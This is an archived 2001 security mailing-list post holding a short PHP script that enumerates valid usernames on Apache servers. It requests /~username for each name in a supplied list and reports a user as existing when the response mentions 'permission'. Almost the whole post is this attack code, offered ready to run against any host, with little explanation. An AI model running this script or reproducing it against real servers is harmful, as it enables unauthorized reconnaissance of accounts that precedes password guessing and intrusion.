script to find apache users

From: gabriel maggiotti (gmaggiotat_private)
Date: Thu Sep 20 2001 - 18:27:43 PDT

  • Next message: Vladimir Ivaschenko: "squid DoS"

    #!/usr/local/bin/php -q
    <?
    /*
    default misconfiguration which could allow remote users
    to determine whether a give username exists on the vulnerable system.
    
            By Gabriel A Maggiotti
     */
    
    
    	if( $argc!=4)
    	{
    	echo "usagge: $argv[0] <host> <userlist> <delay>\n";
    	return 1;
    	}
    
    
    $host=$argv[1];
    $userlist=$argv[2];
    
    
    $fd = fopen ($userlist, "r");
    while (!feof ($fd)) {
    	$user = fgets($fd, 4096);
                             
    	$fp = fsockopen ($host, 80 , &$errno, &$errstr, 30);
    	fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n");
    	while (!feof ($fp)) {
    		$sniff=fgets($fp,1024);
           	        if(strpos($sniff,"permission")!="") {
    			echo "$user exists!!!\n";
    			break;
    		}
    	}
    	fclose ($fp);
    	sleep(3);
    }
    
    fclose ($fd);
    
    ?>
    



    This archive was generated by hypermail 2b30 : Fri Sep 21 2001 - 10:21:01 PDT